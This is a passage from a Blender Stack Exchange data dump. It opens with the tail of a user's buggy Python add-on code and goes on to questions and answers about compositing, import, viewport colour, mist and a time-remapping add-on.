bpy.context.scene.vef_data.vefGuiList[bpy.context.scene.vef_data.activeListItemIndex].data = bpy.context.scene.vef_data.vefLineList.add()&#xA;        bpy.context.scene.update()&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class AddPlane( bpy.types.Operator ):&#xA;    bl_idname = &quot;vef.addnewplane&quot;&#xA;    bl_label = &quot;Add a new plane&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute( self, context ):&#xA;        bpy.context.scene.vef_data.vefGuiList[bpy.context.scene.vef_data.activeListItemIndex].data = bpy.context.scene.vef_data.vefPlaneList.add()&#xA;        bpy.context.scene.update()&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Finish later, put in different section&#xA;class AddListItem( bpy.types.Operator ):&#xA;    bl_idname = &quot;vef.addlistitem&quot; # Check the blender precedent here for naming&#xA;    bl_label = &quot;Add a new item&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        item = bpy.context.scene.vef_data.vefGuiList.add()&#xA;        bpy.context.scene.update()&#xA;&#xA;        # # Change the active item to the newly added item...will the new item always be last in the collection?&#xA;        # bpy.context.scene.vef_data.activeListItemIndex = len( bpy.context.scene.vef_data.vefGuiList ) - 1&#xA;&#xA;        if len( bpy.context.scene.vef_data.vefGuiList ) == 1:&#xA;            bpy.context.scene.vef_data.activeListItemIndex = 0&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class RemoveListItem( bpy.types.Operator ):&#xA;    bl_idname = &quot;vef.removelistitem&quot;&#xA;    bl_label = &quot;Remove an item&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    #UPDATE THE ACTIVE ITEM INDEX AFTER YOU remove something&#xA;    def execute(self, context):&#xA;        addonData = bpy.context.scene.vef_data&#xA;        if len( addonData.vefGuiList ) == 0 :&#xA;            print( &quot;\nNothing to remove\n&quot; )&#xA;        elif addonData.vefGuiList[addonData.activeListItemIndex].data == None:&#xA;            print( &quot;Muffins are great.&quot; )&#xA;            addonData.vefGuiList.remove( addonData.activeListItemIndex )&#xA;            bpy.context.scene.update()&#xA;            if len( addonData.vefGuiList ) &amp;lt; 1 or addonData.activeListItemIndex == 0:&#xA;                addonData.activeListItemIndex = 0&#xA;            else:&#xA;                addonData.activeListItemIndex -= 1&#xA;        elif type( addonData.vefGuiList[addonData.activeListItemIndex].data ) == bpy.types.VEFPoint:&#xA;            for item in addonData.vefPointList:&#xA;                if item == addonData.vefGuiList[addonData.activeListItemIndex].data:&#xA;                    addonData.vefGuiList[addonData.activeListItemIndex].data = None&#xA;                    addonData.vefPointList.remove()&#xA;                    addonData.vefGuiList.remove( addonData.activeListItemIndex )&#xA;                    bpy.context.scene.update()&#xA;                    if len( addonData.vefGuiList ) &amp;lt; 1 or addonData.activeListItemIndex == 0:&#xA;                        addonData.activeListItemIndex = 0&#xA;                    else:&#xA;                        addonData.activeListItemIndex -= 1&#xA;&#xA;        elif type( addonData.vefGuiList[addonData.activeListItemIndex].data ) == bpy.types.VEFLine:&#xA;            for item in addonData.vefLineList:&#xA;                if item == addonData.vefGuiList[addonData.activeListItemIndex].data:&#xA;                    addonData.vefGuiList[addonData.activeListItemIndex].data = None&#xA;                    addonData.vefLineList.remove()&#xA;                    addonData.vefGuiList.remove( addonData.activeListItemIndex )&#xA;                    bpy.context.scene.update()&#xA;                    if len( addonData.vefGuiList ) &amp;lt; 1 or addonData.activeListItemIndex == 0:&#xA;                        addonData.activeListItemIndex = 0&#xA;                    else:&#xA;                        addonData.activeListItemIndex -= 1&#xA;&#xA;        elif type( addonData.vefGuiList[addonData.activeListItemIndex].data ) == bpy.types.VEFPlane:&#xA;            for item in addonData.vefPlaneList:&#xA;                if item == addonData.vefGuiList[addonData.activeListItemIndex].data:&#xA;                    addonData.vefGuiList[addonData.activeListItemIndex].data = None&#xA;                    addonData.vefPlaneList.remove()&#xA;                    addonData.vefGuiList.remove( addonData.activeListItemIndex )&#xA;                    bpy.context.scene.update()&#xA;                    if len( addonData.vefGuiList ) &amp;lt; 1 or addonData.activeListItemIndex == 0:&#xA;                        addonData.activeListItemIndex = 0&#xA;                    else:&#xA;                        addonData.activeListItemIndex -= 1&#xA;        else:&#xA;            print(&quot;\nRemove list item failure.\n&quot;)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# END SECTION: Operators&#xA;# //////////////////////////////////&#xA;# SECTION: Addon UI&#xA;&#xA;&#xA;# Finish this later&#xA;class VEFList( bpy.types.UIList ):&#xA;    # item = [(),(),(),(),(),]&#xA;&#xA;    # # Enum listing the type of the selected list item&#xA;    # VEFType = bpy.props.EnumProperty( items, &quot;Type: &quot;, &quot;Kind of VEF primitive type&quot;, default=&quot;&quot;, options={'ANIMATABLE'}, update=None, get=None, set=None )&#xA;&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        # Check which type of primitive, separate draw code for each&#xA;&#xA;        if item.data == None:&#xA;            layout.label( &quot;Uninitialized object&quot; )&#xA;        else:&#xA;            layout.label( item.data.name )&#xA;# empty line&#xA;&#xA;&#xA;# Main panel containing all the functionality for the addon&#xA;class VEFGui( bpy.types.Panel ):&#xA;    bl_idname = &quot;VEF_tools_alpha&quot;&#xA;    bl_label = &quot;VEF Tools Alpha&quot;&#xA;    bl_space_type = &quot;PROPERTIES&quot;&#xA;    bl_region_type = &quot;WINDOW&quot;&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        vefDataPtr = bpy.types.AnyType( bpy.context.scene.vef_data )&#xA;        addonData = bpy.context.scene.vef_data&#xA;&#xA;        # We start with a row that holds the prim list and buttons for adding/subtracting prims&#xA;        dataListRow = layout.row() # Row containing list of prims and +/- buttons&#xA;        listCol = dataListRow.column() # Column holding only the list&#xA;        listCol.template_list(&quot;VEFList&quot;, &quot;&quot;, vefDataPtr, &quot;vefGuiList&quot;, vefDataPtr, &quot;activeListItemIndex&quot;, type='DEFAULT' )&#xA;        dataManagementCol = dataListRow.column( align = True ) # Column holding the +/- buttons&#xA;        dataManagementCol.operator( &quot;vef.addlistitem&quot;, icon='ZOOMIN', text=&quot;&quot;)&#xA;        dataManagementCol.operator( &quot;vef.removelistitem&quot;, icon='ZOOMOUT', text=&quot;&quot;)&#xA;&#xA;        # UI elements for the active item in the list&#xA;        itemInfoCol = layout.column()&#xA;        if len(addonData.vefGuiList) == 0:&#xA;            itemInfoCol.label( &quot;Click the + button to add items&quot; )&#xA;        elif addonData.vefGuiList[addonData.activeListItemIndex].data == None:&#xA;            # Put enum selector here to change the type of this item&#xA;            itemInfoCol.label( &quot;Click to make a new item:&quot; )&#xA;            newPrims = itemInfoCol.row()&#xA;&#xA;            newPrims.operator( &quot;vef.addnewpoint&quot;, icon = 'VERTEXSEL', text=&quot;&quot; )&#xA;            newPrims.operator( &quot;vef.addnewline&quot;, icon = 'EDGESEL', text=&quot;&quot; )&#xA;            newPrims.operator( &quot;vef.addnewplane&quot;, icon = 'FACESEL', text=&quot;&quot; )&#xA;&#xA;&#xA;        elif type( addonData.vefGuiList[addonData.activeListItemIndex].data ) == bpy.types.VEFPoint:&#xA;            # Do stuff&#xA;            itemInfoRow.label( &quot;This is a point&quot; )&#xA;        elif type( addonData.vefGuiList[addonData.activeListItemIndex].data ) == bpy.types.VEFLine:&#xA;            # Do stuff&#xA;            itemInfoRow.label( &quot;This is a line&quot; )&#xA;        elif type( addonData.vefGuiList[addonData.activeListItemIndex].data ) == bpy.types.VEFPlane:&#xA;            # Do stuff&#xA;            itemInfoRow.label( &quot;This is a plane&quot; )&#xA;&#xA;&#xA;# END SECTION: Addon UI&#xA;# ////////////////////////////////////&#xA;# SECTION: Blender required addon code&#xA;&#xA;&#xA;def register():&#xA;    # Add in: check for existing data first. If none found, register stuff to create empties&#xA;&#xA;    # Register classes to make them available for use in Blender&#xA;    # primitives + misc.&#xA;    bpy.utils.register_class( VEFPoint )&#xA;    bpy.utils.register_class( VEFLine )&#xA;    bpy.utils.register_class( VEFPlane )&#xA;    bpy.utils.register_class( VEFList )&#xA;    bpy.utils.register_class( VEFListItem )&#xA;    bpy.utils.register_class( VEFData )&#xA;    # ops&#xA;    bpy.utils.register_class( AddListItem )&#xA;    bpy.utils.register_class( RemoveListItem )&#xA;    bpy.utils.register_class( AddPoint )&#xA;    bpy.utils.register_class( AddLine )&#xA;    bpy.utils.register_class( AddPlane )&#xA;    # gui&#xA;    bpy.utils.register_class( VEFGui )&#xA;&#xA;&#xA;    # Extend the scene class here, so all scenes now have this data&#xA;    bpy.types.Scene.vef_data = bpy.props.PointerProperty( type = VEFData )&#xA;&#xA;&#xA;def unregister():&#xA;    # Check for how to remove bpy.types.Scene.vef_data, put here&#xA;&#xA;    # remove class availability from blender bpy.types&#xA;    bpy.utils.unregister_class( VEFData )&#xA;    bpy.utils.unregister_class( VEFPlane )&#xA;    bpy.utils.unregister_class( VEFLine )&#xA;    bpy.utils.unregister_class( VEFPoint )&#xA;&#xA;&#xA;# END SECTION: Blender required addon code&#xA;# ////////////////////////////////////////&#xA;&#xA;&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks ahead of time, I know this is a complicated post and I appreciate any time spent trying to figure this out.&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="1363" LastEditDate="2014-03-16T14:14:21.600" LastActivityDate="2014-03-16T14:49:27.930" Title="Python API: Multiple types in single UIList, dynamic memory allocation for serialized data" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2014-03-16T23:44:04.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="7781" PostTypeId="2" ParentId="696" CreationDate="2014-03-15T19:43:50.290" Score="2" Body="&lt;p&gt;I had been fighting this for some time. Like @Jason, I don't know why it ever changed to something else.  But emboldened by the answers above I went exploring.  Eventually I hit &lt;code&gt;&amp;lt;alt&amp;gt;&lt;/code&gt; period and my 3D view snapped to attention (:-)) around the selected vertex, and a quick test of middle-mouse-button movement showed my view rotated around the selected vertex.  So I headed into User Preferences to find out what the Key Binding of &lt;code&gt;&amp;lt;alt&amp;gt;&lt;/code&gt; period does.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kkMC0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I think my slightly better informed way of talking out my problem is that the space_data.pivot_piont was set to &lt;em&gt;something I didn't want&lt;/em&gt; and now that's fixed!&lt;/p&gt;&#xA;" OwnerUserId="956" LastEditorUserId="956" LastEditDate="2014-03-15T20:04:16.580" LastActivityDate="2014-03-15T20:04:16.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7782" PostTypeId="1" AcceptedAnswerId="7787" CreationDate="2014-03-15T20:31:22.920" Score="16" ViewCount="14275" Body="&lt;p&gt;Is there a way to use nodes to combine two images if both the images have transparency (i.e. alpha channels)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mKLrc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-24T03:02:43.477" LastActivityDate="2014-04-24T03:02:43.477" Title="How do I use nodes to combine two images when both have transparent areas?" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7784" PostTypeId="2" ParentId="7782" CreationDate="2014-03-15T21:04:07.493" Score="-2" Body="&lt;p&gt;There are a few ways to do this. I will show you the way that worked for me. I drew some images in photoshop with alpha. Here is how to combine two images with alpha using the blender compositor. I found that this is the most reliable method to use for external images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Node Setup:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Rylr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2ke1V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-15T21:04:07.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7785" PostTypeId="2" ParentId="7779" CreationDate="2014-03-15T21:14:34.897" Score="2" Body="&lt;p&gt;Did not take the time to check the whole code and understand it in depth, but here are two hints:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;We do have a generic RNA pointer type, &lt;code&gt;AnyType&lt;/code&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.types.AnyType.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;), to be used when defining a &lt;code&gt;PointerProperty&lt;/code&gt; which might point to unknown/multiple types of data…&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;About coordinates, would be better to use a single &lt;code&gt;FloatVectorProperty&lt;/code&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.props.html#bpy.props.FloatVectorProperty&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;) instead of three x/y/z FloatProperties, imho.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="1363" LastEditDate="2014-03-16T13:42:12.570" LastActivityDate="2014-03-16T13:42:12.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7786" PostTypeId="1" CreationDate="2014-03-15T22:05:24.737" Score="8" ViewCount="8695" Body="&lt;p&gt;Is it possible at all to save a physics cache with a .blend file, so that when I open it back up, I won't need to cache it again?&lt;br&gt;&#xA;P.S. I do understand the implications, that the .blend size can be huge.&lt;/p&gt;&#xA;" OwnerUserId="1397" LastEditorUserId="2217" LastEditDate="2016-07-23T14:42:42.257" LastActivityDate="2016-07-23T14:42:42.257" Title="Can I save the baking cache?" Tags="&lt;baking&gt;&lt;blend-files&gt;&lt;cache&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7787" PostTypeId="2" ParentId="7782" CreationDate="2014-03-15T22:54:46.857" Score="16" Body="&lt;p&gt;You can use an &lt;em&gt;Alpha over&lt;/em&gt; node to automatically handle the alpha mixing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sKNEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if all you want to do is mix the alpha channels, a normal mix node will do (think of the alpha channel as a gray scale image):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCzJo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-15T22:54:46.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7788" PostTypeId="1" CreationDate="2014-03-15T23:34:02.860" Score="1" ViewCount="131" Body="&lt;p&gt;I want to import a CAD drawing in STL format, because it seems easier than trying to Model the drawing in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to work with the surface textures, colors, and details to make it look real.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way in Blender to work with an imported STL file?&lt;/p&gt;&#xA;" OwnerUserId="2757" LastEditorUserId="5426" LastEditDate="2015-12-14T00:29:46.530" LastActivityDate="2015-12-14T00:29:46.530" Title="Can I model imported CAD stl files" Tags="&lt;objects&gt;&lt;import&gt;&lt;blend-files&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-05-04T00:13:13.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="7790" PostTypeId="1" AcceptedAnswerId="7791" CreationDate="2014-03-16T00:55:06.033" Score="4" ViewCount="10302" Body="&lt;p&gt;I've downloaded &amp;amp; imported several .OBJ models into Blender but they don't always import with the textures automatically in place, even though the model came with them. Here's an example:&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B_yQeQQ8ImENWWYyb0oxYWZMVjQ/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0B_yQeQQ8ImENWWYyb0oxYWZMVjQ/edit?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is due to the presence of an .MTL file, but I don't know for sure.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="241" LastEditDate="2020-06-26T13:46:32.300" LastActivityDate="2020-06-26T13:46:32.300" Title="How can I get a .MTL file to show on an .OBJ model I imported in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;import&gt;&lt;obj&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7791" PostTypeId="2" ParentId="7790" CreationDate="2014-03-16T01:11:36.967" Score="4" Body="&lt;p&gt;If you are using the Blender Internal render engine your model will import with the texture already applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVKe3.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/1ZtZV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Cycles you will not get any textures applied to the mesh whatsoever. In this case you will need to manually assign the textures to your shader.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-16T01:11:36.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7792" PostTypeId="1" CreationDate="2014-03-16T03:12:03.383" Score="20" ViewCount="55735" Body="&lt;p&gt;This isn't about the final render using cycles, but in the 3D view when I'm in Object or Edit (or any) mode.   I want to make one object in a tangled mess of object stand out as bright blue (or any color).    I'm usually working with wireframe, solid, or texture view modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guessed that in the properties panel, Object -&gt; Display -&gt; Object Color would set how the object is shown, assuming I'm in Solid view mode.  But no, it's still gray.  I played with the &quot;Maximum Draw Type&quot; but it has no effect.  I couldn't find anything else to play with that helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is &quot;Object Color&quot; supposed to do, if not what I expect?  What is the way to get that object to show as bright blue?&lt;/p&gt;&#xA;" OwnerUserId="606" LastEditorUserId="12" LastEditDate="2014-03-16T08:48:48.887" LastActivityDate="2016-02-26T17:01:22.057" Title="How to show an object in the 3D View as a specific color?" Tags="&lt;3d-view&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7793" PostTypeId="1" AcceptedAnswerId="7811" CreationDate="2014-03-16T03:26:16.070" Score="2" ViewCount="1111" Body="&lt;p&gt;Is there a way that i can have a plane set to not render anything beyond it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i am trying to do is create custom UI graphics for a java application. I find that blender produces some VERY nice looking UIs with very little effort (relatively speaking). I am getting stuck on making a switch though. My problem is that i need to make the switch disappear as it turns... for clarity here is a basic mesh of the type of switch i am going to use:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DnOh2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the button gets switched from on to off it will need to rotate. when the edge lowers i need it to stop anything below the shadow plane from being rendered. perhaps even have it cut off the actual mesh. Im hoping one of you could tell me if/how this can be done...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION&lt;/strong&gt;&#xA;Can a plane be made to exclude portions objects that it intersects with from rendering?&#xA;can a plane be made to bisect any mesh that passes through it?&lt;/p&gt;&#xA;" OwnerUserId="2801" LastActivityDate="2014-03-16T20:18:13.007" Title="Does blender support what I could best describe as &quot;Occlusion Planes&quot;?" Tags="&lt;rendering&gt;&lt;mesh&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7794" PostTypeId="2" ParentId="7792" CreationDate="2014-03-16T03:32:43.037" Score="21" Body="&lt;p&gt;Properties &gt; Material &gt; Settings &gt; Viewport Color&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7BMSE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IN REPLY TO A COMMENT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7JEID.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Used when faces have ObjColor mode enabled&quot;&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-03-16T04:51:22.667" LastActivityDate="2014-03-16T04:51:22.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7796" PostTypeId="2" ParentId="7793" CreationDate="2014-03-16T04:21:17.383" Score="1" Body="&lt;p&gt;From playing around a bit, I think this might be what you want.  Make a plane to hide part of the object as you like.   Give that plane this material in Cycles:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QVrSu.png&quot; alt=&quot;Material to render nothing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color is flat zero black.  Whatever is beyond the plane isn't rendered at all, and there's no light bouncing around where you don't want.  Note that the background is just black.  Not the World color. World emits general light everwhere. I don't know if you want that or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative: use only an emit shader and set it for solid red, or green, whatever, and use chroma key techniques to replace that color with alpha zero in the final render PNG.  A Diffuse shader's appearance will depend on lighting, and catch shadow.  Actually, Emit isn't ideal - it'll cast lighting onto your switch object.  Tricks can be done with the Light Path node, but if it's getting to be that much effort, I'll just go with the black Transparent shader node.&lt;/p&gt;&#xA;" OwnerUserId="606" LastActivityDate="2014-03-16T04:21:17.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7797" PostTypeId="1" CreationDate="2014-03-16T06:22:02.993" Score="6" ViewCount="2244" Body="&lt;p&gt;Is it possible to use mist in a Cycles scene in addition to a world background?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="5426" LastEditDate="2015-12-14T00:27:02.727" LastActivityDate="2020-10-16T12:24:40.570" Title="Use mist with scene that has world texture/background" Tags="&lt;cycles-render-engine&gt;&lt;world&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7798" PostTypeId="2" ParentId="7797" CreationDate="2014-03-16T06:22:02.993" Score="7" Body="&lt;p&gt;First, &lt;a href=&quot;https://blender.stackexchange.com/questions/5681/add-a-panoramic-background-to-scene-in-cycles&quot;&gt;set a world background&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then, go to the Render context in Properties and enable &lt;code&gt;Transparent&lt;/code&gt; (in the &lt;code&gt;Film&lt;/code&gt; panel).&lt;/p&gt;&#xA;&lt;p&gt;Create two render layers.  For the first one, enable &lt;code&gt;Mist&lt;/code&gt; (in the &lt;code&gt;Passes&lt;/code&gt; panel).  For the second render layer, disable &lt;code&gt;Combined&lt;/code&gt; and &lt;code&gt;Z&lt;/code&gt;, and enable &lt;code&gt;Environment&lt;/code&gt;.  Also, under &lt;code&gt;Exclude&lt;/code&gt;, select all layers (we only want the background texture).&lt;/p&gt;&#xA;&lt;p&gt;Create this node setup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LfIQ0.png&quot; alt=&quot;Node Setup&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The value in the &lt;code&gt;Multiply&lt;/code&gt; node controls the strength of the mist.  The result is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zA9Rk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;(my settings in the Mist Pass panel of World context were &lt;code&gt;Start&lt;/code&gt;:20, &lt;code&gt;Depth&lt;/code&gt;:1000, &lt;code&gt;Falloff&lt;/code&gt;:Linear)&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-26T08:23:34.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7799" PostTypeId="2" ParentId="1053" CreationDate="2014-03-16T08:04:02.060" Score="40" Body="&lt;h1&gt;Time Remapper addon&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Following Ideasman42's suggestion, I wrote an addon that allows you to animate time in the whole scene.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=qKtptQ0wPwg&quot; rel=&quot;noreferrer&quot;&gt;Demo video&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=nILBHmHgY30&quot; rel=&quot;noreferrer&quot;&gt;Video tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/hxxr/time-remapper&quot; rel=&quot;noreferrer&quot;&gt;Source code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Limitations&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Only for Cycles&lt;/li&gt;&#xA;&lt;li&gt;Doesn't work for fluid simulations or motion blur&lt;/li&gt;&#xA;&lt;li&gt;Works with Blender 2.70+&lt;/li&gt;&#xA;&lt;li&gt;Freezes interface until frames are done rendering&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Installing&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Right click and save to your computer this link: &lt;a href=&quot;https://raw.githubusercontent.com/hxxr/time-remapper/master/render_timeremapper.py&quot; rel=&quot;noreferrer&quot;&gt;https://raw.githubusercontent.com/hxxr/time-remapper/master/render_timeremapper.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open Blender, &lt;code&gt;File&lt;/code&gt; &gt; &lt;code&gt;User Preferences&lt;/code&gt; &gt; &lt;code&gt;Addons&lt;/code&gt; &gt; &lt;code&gt;Install from File&lt;/code&gt;, then select the file you just saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type &quot;time&quot; into the search bar and you should see the addon &quot;Render: Time Remapper&quot;.  Enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Properties, you should see some new buttons,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5oWRL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Usage&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's best to launch Blender from a terminal so that you can see the output of the addon.  If you're on Windows, then you'd launch Blender normally and go to &lt;code&gt;Window&lt;/code&gt; &gt; &lt;code&gt;Toggle System Console&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create your scene.  Change any rigid body objects or animated objects to Quaternion rotation mode (N-menu &gt; set &lt;code&gt;XYZ Euler&lt;/code&gt; to &lt;code&gt;Quaternion&lt;/code&gt;)   Make sure to bake any physics simulations.  For Rigid Body Physics, it seems work better if you do &lt;code&gt;Bake to Keyframes&lt;/code&gt; (T-menu &gt; Physics &gt; Bake to Keyframes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's two modes you can use it in: Speed Factor and Time-Time Curve.  Leave it on Speed Factor unless you need to go in reverse-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;speed factor&lt;/code&gt; can be animated.  Setting it to 0.5 will give 2x slow-motion, setting it to 3 will give 3x fast-motion, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After keyframing it, hit &lt;code&gt;TR Animation&lt;/code&gt;.  This will freeze Blender.  You can see the progress of the addon or any error messages by looking in the terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To watch what you've saved out, press &lt;code&gt;TR Playback&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(OPTIONAL) You can choose up to 3 &quot;immune objects&quot; that will be immune to the time remapping effects.  For example, if you want your camera to rotate around the scene without slowing down (as in the demo video above), select it as an immune object.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Using reverse motion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you want you animation to go back in time, then change &lt;code&gt;Speed Factor&lt;/code&gt; to &lt;code&gt;Time Time Curve&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XfaId.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the Graph Editor.  You'll see a 45 degree line that shows how time (in frames) maps to the animation's intrinsic time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wi3Mk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="1112" 